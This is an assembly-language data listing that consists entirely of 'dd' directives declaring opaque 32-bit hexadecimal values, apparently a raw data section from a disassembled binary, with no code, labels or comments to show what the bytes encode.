		dd 800830C1h, 56B25021h, 0FBCA7702h, 4387C004h,	7A18C028h
		dd 1CFA80ABh, 18AF0830h, 0F381A4Eh, 0F2BC50E0h,	20B8828Dh
		dd 648E814h, 16D3A30h, 0B59DFC62h, 0E1DBDC17h, 4FC84048h
		dd 0C6135089h, 0A492504Ch, 42D10202h, 7F640454h, 69FF4068h
		dd 0CE786F6Eh, 887530h,	0AF4280F2h, 0B54427h, 0A4F3192Dh
		dd 832F07C0h, 8E5E2102h, 0C13F1FC6h, 0CFE4B8C3h, 0E4100A78h
		dd 3B4868Bh, 20AF8579h,	923A510Dh, 9DE1089Bh, 1005DC53h
		dd 311C3C8h, 442C0843h,	0AC984CB9h, 0B8412518h,	0D0311C3Fh
		dd 7B5D188Ch, 1FEFE1C0h, 100C07CDh, 0DFE86394h,	8C8127Dh
		dd 2E741D67h, 73E409CFh, 1677B4A1h, 17919C9Fh, 30B1561Dh
		dd 0FC50911Eh, 7ECD244h, 200757F2h, 0B70A70CFh,	2900AFD0h
		dd 0E7554014h, 0F484B6EFh, 9548C39Dh, 0D10F4E12h, 75902CFEh
		dd 601F28ACh, 8FE8D8C4h, 9086F16h, 2A90B821h, 0A0390468h
		dd 0AEAAFD6Fh, 27131D04h, 0CDFF464Ch, 90C5D89Ch, 3C009A94h
		dd 2FE318B5h, 45BA1512h, 848C846h, 0F88389BCh, 0B43335h
		dd 69EA9816h, 5C491D74h, 6A0773ECh, 651953C8h, 545E0DB0h
		dd 10866066h, 8D20801Dh, 0E073D1F9h, 0B00EDB57h, 0C3DCFE3Eh
		dd 30C4F661h, 34216A08h, 20E5B0D3h, 0F74CAAA3h,	0B8411E8Ah
		dd 67F08F03h, 0D0280077h
		dd 0C0E60B8Dh, 753E9171h, 0C609060Fh, 48106264h, 0B34CF4E8h
		dd 0F78F7106h, 3003961h, 35266FC8h, 0E0CE0B21h,	3A30C07Dh
		dd 4F2E1588h, 0E8FAB8C0h, 0E62896Ah, 8C78F463h,	72E9F2E0h
		dd 0F0C37765h, 78839F35h, 2BA001B0h, 37092FA6h,	9801F941h
		dd 0C0219C09h, 2EA60023h, 9AE6B04Ah, 0F90178EEh, 6A8D321Ch
		dd 298386F1h, 6358CE09h, 7E8C9015h, 9E230088h, 412C2D20h
		dd 7C6A00C6h, 0CEBEF60Dh, 40C87593h, 7E698C92h,	61008008h
		dd 23BAAB36h, 0A12A78h,	86275852h, 32A79ACBh, 0C9DD0FEAh
		dd 0A62C03A3h, 62FC0928h, 24C7209Ah, 5E01B6A6h,	0A769E590h
		dd 0F0409940h, 50F2D05Ah, 3A179892h, 0B854FE8Fh, 0C5E21C4Ch
		dd 0E6714074h, 0E1B5CBC9h, 26110C91h, 38B0DD80h, 448CECFEh
		dd 0D5023260h, 30D25BB0h, 0C8384606h, 0D8C02348h, 46FE3DB0h
		dd 6E22C4h, 0D7B0D037h,	0D2BB4E5h, 0C61289E8h, 24305618h
		dd 0A0551CF6h, 0A87A6908h, 12F3AACh, 1B624672h,	26B4B01Eh
		dd 0FA790734h, 84CA8AE0h, 0FE0B2701h, 48824750h, 59DDE29Ah
		dd 4ECC84A0h, 8B7C033Ch, 4F057818h, 0A0EE7C61h,	0E0B1164h
		dd 6CC2E88Bh, 0CE836098h, 0C4707048h, 901D7CDh,	945DA8EEh
		dd 3EECA769h, 0CD49678Ch, 4A2FA250h, 32F0F60Bh,	0F6A0B2D2h
		dd 0A8D9B981h, 97B88498h, 8F06607Eh, 732891F4h,	1512B03Fh
		dd 3C04A4EEh, 640189BDh, 87782DEAh, 0D9CCD0D0h,	0F077770h
		dd 0D12C9173h, 1F81189Ch, 83A3C14Bh, 6A558CF0h,	78E0701Bh
		dd 7EC0B8D8h, 0E2460D23h, 82784199h, 45CA6468h,	0EC08816Eh
		dd 104005C2h, 0F60372h,	884C4B49h, 649B9335h, 0FE848650h
		dd 1DD08341h, 0FC7148B2h, 6DE59A09h, 0C5F25C21h, 0B30B0070h
		dd 0A87D548Dh, 63910077h, 1F5FA726h, 870946D7h,	2082D8F8h
		dd 0FE092D80h, 3A4C9AA0h, 56B0CAE6h, 6C068048h,	693DF426h
		dd 11737030h, 20D0016Eh, 0A138B7EEh, 6BC4462h, 509D3AC8h
		dd 5A301DECh, 2CB6B9D7h, 31F072D8h, 7720A44Ah, 2435F8F4h
		dd 6B8820A7h, 0AAF2C0CAh, 0E60674F3h, 0FC3F1116h, 9A401502h
		dd 0D200FC6Bh, 0F3F859C8h, 8F00ACAEh, 11CB8A34h, 19470D40h
		dd 0E06C14F6h, 0EC318364h, 7FD9EAh, 82CBE8E8h, 0D08C4E93h
		dd 8997E230h, 405FD505h, 0FE78B566h, 1078E637h,	814BE060h
		dd 80409067h, 0F749CFCh, 1F357594h, 0F703BC94h,	6AF0E67Fh
		dd 0B76E7800h, 0F2A279F5h, 29018BEDh, 0BEA7E877h, 405E4072h
		dd 9E72DA10h, 2607308h,	79B4C67Fh, 1D20DC44h, 0B38B0268h
		dd 0AB0B7C11h, 70BCC040h, 68021F7h, 1F9860ACh, 1586630Bh
		dd 6C081E6h, 5AF0B06Fh,	4968D37Bh, 40028020h, 5203877Eh
		dd 8B9487Fh, 8A046000h,	0A672E0B4h, 807620C4h, 2426C414h
		dd 0B0DFC074h, 0FC46FE3Ah, 30306B22h, 86A520D7h, 745D0059h
		dd 0FCF0E463h, 4C60D215h, 0E6E8F890h, 0F768C18Ch, 219A383Dh
		dd 0F3E83014h, 0D399A161h, 98C9E07Ah, 4282893h,	14452C6Ch
		dd 70207370h, 0E17C1B71h, 68108166h, 9A0C4602h,	0EE186FB1h
		dd 51A9E214h, 0CE0306A8h, 4C48694Ch, 0C6218465h, 2B9D209h
		dd 60887004h, 0C0678C38h, 3FED9759h, 0FB00D981h, 13572E78h
		dd 139BA970h, 205E95Bh,	7DA8CEBCh, 1760F00h, 3DA30BACh
		dd 7C111351h, 0B02A1834h, 3F0926D0h, 4099C450h,	0E9A622C1h
		dd 0E28501E4h, 0D08A6183h, 0DF48814Fh, 1E812F9Ch, 401A2070h
		dd 0E8105A6Ah, 1131A2F6h, 61536C80h, 0D148F72Ch, 6E351030h
		dd 518CEA1Ch, 0E9FB007Bh, 0EC4C14D5h, 0B64D033Dh, 54DD3CC4h
		dd 247E9EB9h, 4824D060h, 303D587Fh, 8FF6A98Eh, 0E2BA07A6h
		dd 1EC845F4h, 8D698381h, 0D1642136h, 2C880666h,	422463E0h
		dd 0E60780D0h, 8619461h, 7D9A7E8h, 2745A11Ah, 81CCFA68h
		dd 4C0C8C0Ah, 59B43097h, 40DA02F5h, 80A14668h, 3E750DFEh
		dd 0E024A4BAh, 8A8ACADh, 6448EE20h, 43DD788Bh, 0D535A60Ah
		dd 0CDD510C1h, 51BFC020h, 12419484h, 0C4267947h, 9BE8C058h
		dd 0FF33008Ch, 3B58F4E4h, 0A8C47C10h, 13004612h, 5E25FAEEh
		dd 906860CBh, 22F8A4h, 3FA7BEDDh, 83ACCADCh, 48191105h
		dd 0D849788Ch, 7999011Eh, 82DDCF95h, 29BF4D8h, 0FF680E84h
		dd 0B882163Bh, 30055C4h, 0A12F92CDh, 0A9104B80h, 74B258EEh
		dd 808F352Bh, 0B07AFC8Ah, 249BEA08h, 80251104h,	0FE3BB0DEh
		dd 63448CF4h, 0B0D60431h, 8C3DFE8Eh, 80989CFCh,	0BE969D35h
		dd 20713C82h, 793E3D5Eh, 0DD118C99h, 0A8859E15h, 93D1AA00h
		dd 0B5F8BA72h, 233F2702h, 42FE90AFh, 0B8F8134Ch, 82548E35h
		dd 64456032h, 0A5606CC4h, 0F000E7E8h, 2109154h,	48F5CA4Eh
		dd 838A6859h, 89EE8998h, 11F81C86h, 700154A0h, 7830D081h
		dd 1F05E3A2h, 0A0689A48h, 0B01D5C12h, 94806011h, 0DCE8EA0Dh
		dd 0A17E8C09h, 0EE088737h, 8FF20768h, 0A639271h, 5999BC84h
		dd 0B091BF22h, 81E43EDDh, 78271680h, 9DE015D0h,	9A340FADh
		dd 76A95AC2h, 9791801Dh, 0C9158E80h, 0A4B08B48h, 0B6CF820h
		dd 7E4DCA56h, 0ECA074A0h, 0A8B2C1F2h, 7D6920h, 24C96E80h
		dd 4A0AC776h, 3F9B1E39h, 402C8E8Ah, 29740C78h, 58E2587Ch
		dd 9D88E8Ch, 60FE6A88h,	40D69188h, 945016D8h, 0E03D2EC4h
		dd 124DD9Bh, 2FE98539h,	0F8C0615Bh, 0FFAC008Ah,	50C4D697h
		dd 0EC4C655Ch, 7AAF0354h, 0FE6A2B9Fh, 0E1771771h, 1D440423h
		dd 0D3360571h, 0FF8F9C61h, 6073A993h, 0DB8AE028h, 0B9156709h
		dd 0BBD82604h, 33DC05B9h, 821ADAADh, 0DC9308F0h, 239453C8h
		dd 7BC86A12h, 357E2060h, 7C4E48B6h, 0F90DFCA1h,	228C3271h
		dd 0B0C20A95h, 0A89C611Bh, 0BC4F48F8h, 76740510h, 39D61532h
		dd 0BB60C323h, 1C9BE9Bh, 2D432945h, 0F8A403ECh,	8CC33E4h
		dd 2232171h, 5454321h, 94A0939Fh, 8A980868h, 0F056DF00h
		dd 9C74EFA9h, 0E8C000A0h, 0AD8E34C3h, 0E10217F7h, 25CAEE2Ah
		dd 98180F7Ch, 5E807501h, 516A2235h, 0C4A4F2EAh,	9EC48F12h
		dd 4D1E8004h, 8ED85802h, 40F278E8h, 0A1E07C32h,	83CE565h
		dd 0CCA096F2h, 18983548h, 2B486C5Ah, 2E9E1804h,	0EE092067h
		dd 0C244D05Ch, 22746DA9h, 0D1053E0h, 1340409Eh,	0BD207090h
		dd 0B5A8C57Dh, 90328216h, 44B03850h, 24C0422h, 0BCEBDF15h
		dd 4092F9h, 0E488917Ch,	0B12102ADh, 7394108Ch, 63D17479h
		dd 0A0C4FF18h, 21177BB6h, 20BDEEC0h, 108B9FA0h,	246C3DB8h
		dd 0C60920D0h, 16C49B0h, 6A9A998Ch, 921E8241h, 44401AE7h
		dd 21A1FB2Eh, 17D37965h, 42368A4h, 38529DC4h, 19204404h
		dd 683026F0h, 3C531170h, 0FAD91DB4h, 0F2848629h, 0C8880821h
		dd 34013280h, 0F0F8AEB4h, 5041A242h, 500690EBh,	3B022146h
		dd 11FADEB4h, 0F0146631h, 88E70E38h, 0C58C1B0h,	7C216C69h
		dd 94A5DA28h, 1282E420h, 2090F86Ah, 9F041320h, 4F89B09Eh
		dd 0A9CC002Eh, 64163C2Ah, 602590D0h, 23DAB43Fh,	641131FAh
		dd 0B437007Bh, 6BE6D788h, 0D82EF689h, 5042A45Ah, 7AD00086h
		dd 3C96EEE0h, 24692D19h, 0B4083E18h, 0C439FADBh, 36304368h
		dd 964BF8B4h, 76C701CBh, 0CE83FD94h, 92C3878h, 82519AE5h
		dd 3A86A30h, 48D73D5Ch,	67A1933Dh, 0E0246409h, 98B7EE18h
		dd 18A2019Ch, 86D8F098h, 773884A5h, 0A0817AF5h,	71057BDh
		dd 0D304277Ch, 53CFA5F8h, 3050F0D6h, 0EAF16A28h, 7F80C1A9h
		dd 2F3E24A0h, 53580824h, 23978ABBh, 98782036h, 0A0C28CDCh
		dd 401AD1B7h, 6596BEB0h
		dd 0C30BB8C6h, 387C7F2Dh, 807ACA10h, 201EF1Ch, 0D6F78F16h
		dd 90417C4Ah, 82F18D0h,	33EC2B43h, 254072C4h, 0FB884327h
		dd 7822A931h, 8ECE6BA8h, 0A48728E8h, 4BD8117Ch,	82B55002h
		dd 74040993h, 5BC506Eh,	0B4F6467Bh, 1F21D440h, 4EC66BCFh
		dd 602C36E1h, 0B8492628h, 0EE2BA3F8h, 53182CAFh, 86738D78h
		dd 27831722h, 2C213DF4h, 987F1173h, 8E41FD20h, 128C9371h
		dd 0A3C40835h, 80042396h, 3005B9Dh, 67875B7h, 2072DCA2h
		dd 9C0FD2EFh, 1519603Dh, 9CE5B5DCh, 89176060h, 684930EEh
		dd 0E1A10434h, 64C89A56h, 0C31574FAh, 78608B69h, 0C22422A2h
		dd 760592C0h, 63909C43h, 0A4B5E67Ch, 0B2020184h, 0FEA9BC53h
		dd 54B8463Ch, 3FE6D0AEh, 6913B2C9h, 275C32DFh, 12B43D30h
		dd 3821FAD8h, 350033ECh, 0D54F2FB4h, 2CE60BB5h,	702C79A4h
		dd 418A19E1h, 0DA1821F8h, 0FE3FB008h, 406DC4D4h, 0D5B0D235h
		dd 69A90017h, 13BE9CB2h, 5C9EFB6Ah, 0F8707581h,	0AC40A9EEh
		dd 0C9A0116h, 64178A21h, 6988D9F0h, 67B9C078h, 85B2A66Ch
		dd 0F6E77000h, 69F07566h, 3A21D25Bh, 12672370h,	4C3C04ABh
		dd 62F60074h, 4879A1E7h, 19350CBCh, 9DE4CE18h, 6DDE0163h
		dd 60352411h, 0FCA8F27Ch, 68933C29h, 9F1104ACh,	84CE0B0Eh
		dd 2238CEB3h, 3D7E0860h, 0FA05577Ah, 40913EF8h,	26CF169Eh
		dd 10A08B48h, 4A8C0951h, 0A54E884h, 78408267h, 98A40F78h
		dd 894CEEFAh, 5294116Ch, 72DA023Ch, 0B006AC0h, 6BA3DDB3h
		dd 5C025887h, 0C20E783Eh, 8A325EF8h, 280BEC9Ch,	0FD046E3Dh
		dd 6F203C04h, 0F6002F46h, 8F9EA71h, 0D84FFAE8h,	157EE441h
		dd 6842490Eh, 0DCA08226h, 0ED0086Bh, 20F84A1Dh,	0D8B85A1Bh
		dd 0A109CC9Ch, 0C4740B60h, 138890E8h, 317A5h, 0AEAC01ACh
		dd 0D4CAB63h, 51211020h, 9CF67514h, 7F6B0511h, 764Dh, 0FAED40DBh
		dd 455A6Fh, 2C4608Ah, 0B4BCC5C2h, 65DB2009h, 852C0259h
		dd 3F780173h, 0C470A8BDh, 2C62FC2Fh, 14EC98C4h,	544271E2h
		dd 2AD09931h, 7802054Fh, 0CCD659F7h, 6C684CC8h,	4AEBB180h
		dd 0AF00EA27h, 50CE42F6h, 1D2ADC4Dh, 7B49C835h,	728C543Fh
		dd 0CA09BFEEh, 7410E55Eh, 7F411008h, 648CE80Fh,	6C9D80CBh
		dd 0A9806E11h, 8B865102h, 0E6A16A04h, 38CBE71Eh, 60F93221h
		dd 9F026C18h, 0B9E5C8BCh, 38EC4168h, 24899E11h,	0BF00A4B0h
		dd 7D8C7FBAh, 9FB83D4h,	0A376E8F8h, 29AAA026h, 0B62CD27Ch
		dd 40082C2Dh, 59CC2083h, 2E80B8D1h, 3BEC2A43h, 247D448Ch
		dd 3E432600h, 0B188625Bh, 0FC275835h, 0C9BB8F1Eh, 412D08Ch
		dd 0F2D2EC04h, 19A93120h, 91808B9Eh, 6E4E3649h,	904F124h
		dd 9C4FC610h, 886B30B4h, 31D40C78h, 9E17224Ch, 0BE8740B8h
		dd 2300C231h, 0E7545643h, 908E9892h, 1854BC0h, 1ED858F8h
		dd 0C7068ABh, 994FA635h, 228142D0h, 0B4E60091h,	0AA1549A8h
		dd 40F5B244h, 4A11CEFCh, 0C1A2C219h, 62CD36D0h,	5FC0E068h
		dd 0CDE1B22Ch, 64131500h, 54C70A4Bh, 8C2D1819h,	0ECE6B170h
		dd 91362F00h, 0B7E0E292h, 63F62C8Fh, 5E5D62B8h,	0ECB0EA07h
		dd 946755C2h, 105771F4h, 4A6AD072h, 3CD8448Ah, 0F0F80191h
		dd 0A991873Ah, 84010399h, 0F1803645h, 10841133h, 82D99D1Bh
		dd 5E215230h, 24689E0Dh, 74142324h, 35137046h, 47081FD3h
		dd 0D972C29Ah, 30E5E80Bh, 0FF6097E4h, 30049303h, 6DCE3D74h
		dd 0FCB490D1h, 9163FEE0h, 509D1134h, 48C22B8h, 0FE3CB0D9h
		dd 0B02CACCCh, 2B0D136h, 552743EAh, 6C408A04h, 0FB4C4EB2h
		dd 82768890h, 0A1D0A4CCh, 80F74870h, 0DE15E0D9h, 175AAF58h
		dd 5A8EB6F0h, 3C40F004h, 7C997A81h, 0D346A820h,	28432C02h
		dd 78312BECh, 43242610h, 0E29B3400h, 5A89ED99h,	0E19F12C7h
		dd 75200821h, 0D07493AFh, 0BDECFA7h, 765A7B49h,	3F29A280h
		dd 8C913588h, 0C6201C28h, 6315F89Dh, 609A1991h,	0F4595100h
		dd 746E2934h, 78FA590Dh, 54228842h, 465E9094h, 0F33006Ah
		dd 0AC9743DAh, 61E2276Eh, 0C67F5481h, 129C3893h, 4CA4FA4Ch
		dd 48CE1709h, 0F5ECD46Fh, 36A80274h, 2804284Ch,	2F092CA6h
		dd 0C3209662h, 246CA620h, 60CC88AAh, 2F23F17Ah,	209D8110h
		dd 0DF876F88h, 3C08275h, 3158A3C8h, 8C78473Eh, 4E418065h
		dd 10C6C9EBh, 0CE520087h, 0E44FC1Ch, 4B039BFFh,	1B248D4Fh
		dd 55124E5h, 51A400BCh,	6619E158h, 0E672F603h, 0C49B4DD4h
		dd 6AE818A8h, 71140F8Ch, 7B20A18Fh, 6A2E35FCh, 0D5113891h
		dd 0F2432A87h, 0AC591BECh, 43222060h, 1B271C06h, 5ADCAAA7h
		dd 23602FB3h, 0AFB7007Fh, 9A09D437h, 2369AD25h,	80F0A758h
		dd 1E95ECF3h, 40EEDCC1h, 665ACBA5h, 9E09AD15h, 8B83A60Dh
		dd 25CA9D4h, 21446EE0h,	79AA2AF0h, 69D64808h, 88030518h
		dd 0D2E01Bh, 7BC06A88h,	7EABE08Ch, 17C088BCh, 147C034Bh
		dd 10D8F094h, 4C087527h, 8CCA4C0h, 0A026788Dh, 0DB535E05h
		dd 9B52B4D1h, 8201E032h, 0EB3344B5h, 48070E4h, 4C883A88h
		dd 0FA281850h, 148C089h, 9647269Ch, 0DC9804F8h,	2C7BFD06h
		dd 77708A80h, 0A6309C79h, 52A03A04h, 95B30B28h,	0AFF16CB9h
		dd 74AFC81Fh, 70FF4902h, 449AB483h, 3BDC00A0h, 0DDD7D410h
		dd 5624967Bh, 3009E85Bh, 0C170EB57h, 142C88FEh,	16480D17h
		dd 0E60082A0h, 8019F8A6h, 461A1D15h, 120D0908h,	0D608107Ah
		dd 3A9E81A2h, 757BAC40h, 0B5884h, 81FA8EEFh, 0F93CE7CEh
		dd 0D2715104h, 0F891592Eh, 6A1169F2h, 73C69FEh,	0D0D68201h
		dd 0F8C45924h, 8C3764D8h, 2DA62904h, 95622709h,	0A621C220h
		dd 1BC0064Ah, 408F769Ah, 2E3DFE15h, 142A25A8h, 21614520h
		dd 0B045F418h, 2A5D4090h, 428C1AE0h, 0EA8C8321h, 0E4484D76h
		dd 0C86C8B96h, 19A7CF6Ch, 0ECFE40A2h, 4890F9B3h, 2C408520h
		dd 0C2E88BD0h, 9C99FF8Fh, 140B08FCh, 0E87C08CEh, 0B1CAEC04h
		dd 0E6689155h, 90202A8Fh, 526A214Ah, 570A4FAh, 92EE8BDh
		dd 9C0488F6h, 8205B012h, 1730F010h, 94909A80h, 38C40E2h
		dd 0FC59295Ch, 84A8A31Bh, 0C5012778h, 3E87ED37h, 0B0442BB8h
		dd 0B021D8D4h, 83D81E9h, 492A20E9h, 2F7FE302h, 40AAF8DEh
		dd 9E93A7E4h, 313D4h, 2D2C6FECh, 0E40015D3h, 3F9B5C9Eh
		dd 2CC0E027h, 17008F98h, 6530C264h, 4A64C53h, 4604674h
		dd 3F8E7669h, 7FF15881h, 8A8BBC48h, 8A0BFCC0h, 157C3C05h
		dd 3C666D1Eh, 0B4A05920h, 782CC890h, 880D84C0h,	0A9D08481h
		dd 9BCCB868h, 888B1EC0h, 5E1FFD70h, 0C0A46066h,	6F07915h
		dd 6BD5FA6Ch, 3CB14C88h, 9124B475h, 43F3ACFh, 9AE1B8C1h
		dd 20914889h, 0E68B09A5h, 9E458ECh, 0E0328235h,	0D4E8640Ah
		dd 490A9646h, 1294B1D8h, 1008E26Ah, 487A5EB4h, 189958F9h
		dd 1C81AE2Ch, 94FE0B60h, 516CBA63h, 2F2E0CC2h, 14942374h
		dd 8322F48Ch, 94B3288Ch, 48E3E758h, 5125D42Fh, 355E7C98h
		dd 816EF62Fh, 7F805A7Ch, 0D210E1F6h, 430B2D18h,	9C23EC29h
		dd 25270134h, 0D8E69643h, 8C302FEAh, 9ADA1588h,	2CFA7C8Ch
		dd 84F48322h, 1442F605h, 86C058E0h, 1CB9879Fh, 492519Ah
		dd 0C0DE75E5h, 453AA19Ch, 0DB5DDF7Dh, 0FA990408h, 0D4958735h
		dd 6FF238A2h, 1BF5B331h, 0E2D863DCh, 781D5843h,	11C07EC0h
		dd 0A00918BCh, 70FA32A4h, 0D328206Ch, 7DD1A4B1h, 71017C18h
		dd 0EE3E0AC7h, 1E2E99E2h, 0B58CC08Ch, 23163911h, 0A62CE890h
		dd 7E40906Ah
		dd 80779235h, 0F90ABFF2h, 0B04A1891h, 0C57D608h, 0B869689Bh
		dd 7EF75802h, 800941C1h, 198C539Fh, 0D740C38h, 29306FCEh
		dd 0C584EE25h, 6294E464h, 1094D46Bh, 0C24C0B51h, 8C305059h
		dd 7AE2F890h, 2580B9CDh, 7E919817h, 0B1074182h,	93B95A40h
		dd 4188BE51h, 0A756AA5Ch, 5CA8C6C8h, 945C9482h,	0B830F6BDh
		dd 0C8CA5C75h, 0E48FAEFCh, 4E7D2FAEh, 5C5306h, 0E9489640h
		dd 8D549E05h, 8B01EECCh, 62DACDB5h, 0EAFCFE4Fh,	5C1F7CD1h
		dd 0A16CC12h, 3AF8C1A0h, 0BDF8007Ah, 15E0008Fh,	20E180EEh
		dd 0FD25EAE8h, 70500372h, 3040AFECh, 61C3FE35h,	8D582023h
		dd 0F2DB0C76h, 9FA228D8h, 417B590h, 13806F91h, 47F00232h
		dd 9109782Fh, 0A0EEF880h, 960D76BCh, 288916Ch, 0ACE6A321h
		dd 8B3CC469h, 9061FED8h, 807EAF9Ch, 0EAEA29CDh,	0D8C77B4Ah
		dd 0C9A9A1F6h, 5803A7F9h, 48587618h, 58A11190h,	14F0F81Fh
		dd 78616C89h, 2473E882h, 4B513E8h, 7C00567Ch, 3EC83612h
		dd 23558513h, 21ECE00Bh, 0EDAAE570h, 0FFCE5420h, 9CC49F02h
		dd 24A3A506h, 2070D2E4h, 2E13B11Ah, 54E4C67Fh, 0CA09D8Dh
		dd 0E07B1EAAh, 0A8D33A26h, 189E4608h, 6ACC702Dh, 8AF79983h
		dd 0F8E06181h, 9E8462D0h, 1296FD28h, 80F4A810h,	0FC9BCC8Fh
		dd 466B09C0h, 48A0E5FAh, 50D4F647h, 5BC89152h, 68255005h
		dd 629F64A3h, 31749A30h, 62F56Fh, 0E4A3AF6h, 41AF4F55h
		dd 5E49E700h, 5C15BCEEh, 81124F3Dh, 8FE94E54h, 32F46A39h
		dd 0DE644A0h, 0B89E9BF8h, 1C3A3ED0h, 0C6059623h, 8080C416h
		dd 20D8F848h, 4A30A776h, 0F08F2918h, 8082F9C9h,	6105FAECh
		dd 10A81473h, 686F7D26h, 8C866A47h, 90694E41h, 840DAC0h
		dd 0EE9B4E0Eh, 10AD0460h, 544C0CE3h, 8C6AE8h, 63458557h
		dd 0CA4C18A3h, 0AC5ACD26h, 64ECE5C9h, 0B1ED607Eh, 9FF7B0Dh
		dd 58E32D79h, 0A424B289h, 2020889Fh, 0F6A4DC00h, 0B9B4FE3Bh
		dd 0E4FC002Ah, 7D0D45AEh, 0F812DA5Ah, 0D4D09FA5h, 75E2DEh
		dd 666881B4h, 52A8463h,	1BB94F07h, 0D4B2FD18h, 124528Ch
		dd 0EEBD20F9h, 0F4C7707Ah, 28386BD5h, 0BC58803Fh, 62E2C8DFh
		dd 0CC2E4C67h, 8B47B1FCh, 0B8BB1E1h, 0DD388B92h, 4320063h
		dd 62E8F87Fh, 8E28089Ah, 1100A478h, 8FE68D0Bh, 6FE07C7Fh
		dd 4123949h, 605474C8h,	40E9E264h, 10D2697Dh, 66B2BCA3h
		dd 0B08C6330h, 712D37E4h, 0F0211C51h, 8F769D09h, 0ECEC11F6h
		dd 22DF2031h, 7A178429h, 0A8902EE0h, 49A8199h, 78EE0988h
		dd 0B10F46Ah, 57E0E616h, 0AEA2CCE6h, 0BCAE903Fh, 9706E442h
		dd 0E0EDE889h, 0E33F0EC0h, 68C10F67h, 0CD29152Ah, 0F56A4C02h
		dd 9D019071h, 718A9E0Dh, 33236C32h, 29A62D01h, 2C6B0709h
		dd 2500C688h, 0DA5568A6h, 0B7B1B13h, 50FCB3F8h,	7CAB8002h
		dd 0F6091700h, 0B87A5088h, 94AEC05h, 850B1C69h,	9C3A8482h
		dd 10E11603h, 5086D210h, 80B7A77Ch, 8EDA7CD4h, 849C9469h
		dd 0C1C4BFF3h, 3B8D818Ch, 7BF58C44h, 8F30C00Ch,	89B178C4h
		dd 264B10F4h, 16845119h, 23E44022h, 8D54C29Ah, 9BC6C96h
		dd 7A7CFDE2h, 2C625854h, 1641B10h, 76ACE915h, 5F061B0h
		dd 0B519C371h, 0B91CA6E0h, 0DD81E821h, 0D08C1CDFh, 2C6F8EF1h
		dd 84161D3Ch, 68E0651Bh, 8113660Fh, 2220B8A7h, 0F2A31D88h
		dd 0C7903051h, 0DB1BFE1Bh, 0E2B89F98h, 2F10C47Dh, 0FC4A4DC3h
		dd 8713245Eh, 2A0140A3h, 4A55E11Fh, 60F001B1h, 10B0580Eh
		dd 0D3068CC3h, 18214D19h, 0F5B7E00Ah, 0C1404873h, 2013FD1Bh
		dd 1521A807h, 5D0CC64h,	1BCC8085h, 0F32490C1h, 0B0420ADh
		dd 0E84222EEh, 1450842Ch, 6554CC54h, 0F850881Ch, 0FCC13052h
		dd 413A83B0h, 7B26B424h, 508C0782h, 8009A9Ch, 68D1F2A2h
		dd 5A69F0A6h, 53EE7734h, 350B34C7h, 20DA9A30h, 0B1711761h
		dd 2AA205h, 0E00D3620h,	0F762D677h, 526E7A30h, 0BAD12F0Ch
		dd 50509486h, 80821D25h, 93A80CBCh, 6840FB4h, 34ADFC57h
		dd 50C1A369h, 36138C23h, 27381414h, 137C1134h, 1D0CA9A3h
		dd 642965CAh, 0EEFAE046h, 0E609A604h, 108870F4h, 71433822h
		dd 0D8D63A81h, 70238B65h, 78403550h, 508C17E4h,	658E277h
		dd 0A5FE0188h, 4CF8F8B1h, 0CA11ACADh, 0F36A0B78h, 878F9E4h
		dd 0C8245070h, 2CC8F115h, 26114081h, 7904C34Ah,	2ADFA900h
		dd 17D8F375h, 4674F83h,	565FF6F4h, 7923483Ah, 91840C00h
		dd 2C1D140h, 0EEEC222Ah, 98F069CAh, 644C06E8h, 8DD684E0h
		dd 81011100h, 0B30ED5FBh, 9DA7EEA8h, 7954446Fh,	0E34E038Fh
		dd 0D2209B06h, 0C2C55DB0h, 809F3F3Ah, 4C8F37E8h, 29E47C62h
		dd 0EA460FCh, 99C044F4h, 0E60A75F7h, 11C88C58h,	0FC1237E1h
		dd 38B0A27Bh, 92D9022Eh, 55989E9Dh, 18305011h, 2AA60B2Eh
		dd 90791F09h, 0A626C560h, 568A3E06h, 0FB270EFFh, 20167852h
		dd 0AF0F8F8h, 2DB09759h, 0BC4810F1h, 1AD8360h, 0F6A27FB0h
		dd 0AC21BB24h, 306C48Ch, 3B1DDF2h, 0B0404461h, 306F2BEEh
		dd 0DD0791A8h, 0FAB388F2h, 3FC06ECh, 0A0A081CBh, 18DDB1FDh
		dd 562E80A1h, 0D85A43B7h, 0D0855E4Bh, 6BBC2CFCh, 9ED7008Ch
		dd 912704AEh, 0CF584EA3h, 0CD78661Ch, 207AFB91h, 87F5CC0Ch
		dd 43FAD101h, 0B0667D54h, 8961B3C1h, 244F2E20h,	0E4902D7Bh
		dd 8264F49Eh, 748BC400h, 0BFED3139h, 342C0709h,	0A09D8669h
		dd 0B3988FE2h, 0FAE41609h, 1B01840h, 22E87D92h,	0CB007939h
		dd 3BD5A061h, 11360h, 0E5CC6884h, 3AF1E0A7h, 43D33300h
		dd 9F8FF280h, 654700DFh, 0D88019Ah, 2517CD2Fh, 0F0057D10h
		dd 0E8F864F8h, 953301CFh, 0A1C48314h, 806169D1h, 0A5521E11h
		dd 733BF1EEh, 6496015Fh, 5D949D2h, 9598CBD4h, 0FA0B75FDh
		dd 41B386D0h, 0F8E040BCh, 9489BF22h, 0A8820C07h, 537E108Bh
		dd 67999020h, 73C4CB38h, 40C900A4h, 0EE160D79h,	54C0C5F5h
		dd 0B52BDBA4h, 4726439h, 4654203Ch, 0E02F4ED8h,	0C8007823h
		dd 0D94EA6E8h, 609009EAh, 88A942FAh, 7F7948F9h,	2B00E818h
		dd 189665AAh, 0A3E3192h, 3469B7EEh, 0C8C8A7D0h,	4E194B42h
		dd 731143B1h, 32C3044Fh, 78010F8h, 0A001AF4h, 0B3AA019h
		dd 2801EF11h, 70C1608h,	12092380h, 5B020EE1h, 0F40710A0h
		dd 0C10306A3h, 0E7DB0D07h, 8E118F0Fh, 0E5052104h, 0F6F00153h
		dd 18091D16h, 9F171FF0h, 30CC0A0h, 1F1153E8h, 18CE28DDh
		dd 0ACEECh, 57021DE9h, 401C60E3h, 23455DF3h, 0B7AE876h
		dd 800AA038h, 6879AE02h, 3E538D7Dh, 4505745h, 80156E5Bh
		dd 0C380160Fh, 0AB3B3727h, 1845300Ch, 0E1E979EEh, 1713EE3h
		dd 4C18F737h, 0F95407E1h, 1E3F0908h, 160AFCF0h,	384C17F2h
		dd 1F888036h, 0C401E521h, 1DEF1Eh, 44053BDh, 267E308Ah
		dd 3E0E10E8h, 4A38CE60h, 0CA0156A0h, 0BA03040h,	430018E3h
		dd 575853D4h, 6F17A500h, 0A01D07Ah, 3DC93314h, 52A14EE1h
		dd 277880E4h, 38061CF2h, 130CEDD5h, 40F2080h, 392C07E9h
		dd 236029A0h, 3CF40F1Eh, 3C942330h, 0C47D4CFh, 0B290CF19h
